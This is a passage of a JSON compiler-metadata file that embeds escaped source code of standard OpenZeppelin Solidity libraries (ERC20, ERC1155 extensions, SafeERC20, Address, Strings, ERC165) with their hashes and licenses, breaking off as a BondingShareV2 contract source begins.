owner nor approved\\\"\\n );\\n\\n _burn(account, id, value);\\n }\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burnBatch(account, ids, values);\\n }\\n}\\n\",\"keccak256\":\"0xedf8db444aa542739a0aabe8243a4e8100003aacba9783637a75f16bb556ab44\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC1155 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Pausable is ERC1155, Pausable {\\n /**\\n * @dev See {ERC1155-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n require(!paused(), \\\"ERC1155Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x4f97aa55fc912e2ef5df98d1155d7fd1e7c0d486ad49b5d983d7fe2739ef7749\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping(address => uint256) private _balances;\\n\\n mapping(address => mapping(address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The default value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor(string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n unchecked {\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n unchecked {\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\\n *\\n * This internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n unchecked {\\n _balances[sender] = senderBalance - amount;\\n }\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n\\n _afterTokenTransfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n\\n _afterTokenTransfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[account] = accountBalance - amount;\\n }\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n\\n _afterTokenTransfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(\\n address owner,\\n address spender,\\n uint256 amount\\n ) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n\\n /**\\n * @dev Hook that is called after any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * has been transferred to `to`.\\n * - when `from` is zero, `amount` tokens have been minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _afterTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n}\\n\",\"keccak256\":\"0x418cfe64226a974419f8ab7287ad4bb413156a4d7af8ab5d9bcaa5678d1a2f22\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0x027b891937d20ccf213fdb9c31531574256de774bda99d3a70ecef6e1913ed2a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(\\n IERC20 token,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(\\n IERC20 token,\\n address from,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) {\\n // Return data is optional\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x02348b2e4b9f3200c7e3907c5c2661643a6d8520e9f79939fbb9b4005a54894d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) private pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x3b4820cac4f127869f6eb496c1d74fa6ac86ed24071e0f94742e6aef20e7252c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0x95098bd1d9c8dec4d80d3dedb88a0d949fa0d740ee99f2aa466bc308216ca6d5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant _HEX_SYMBOLS = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n}\\n\",\"keccak256\":\"0x391d3ba97ab6856a16b225d6ee29617ad15ff00db70f3b4df1ab5ea33aa47c9d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/BondingShareV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport 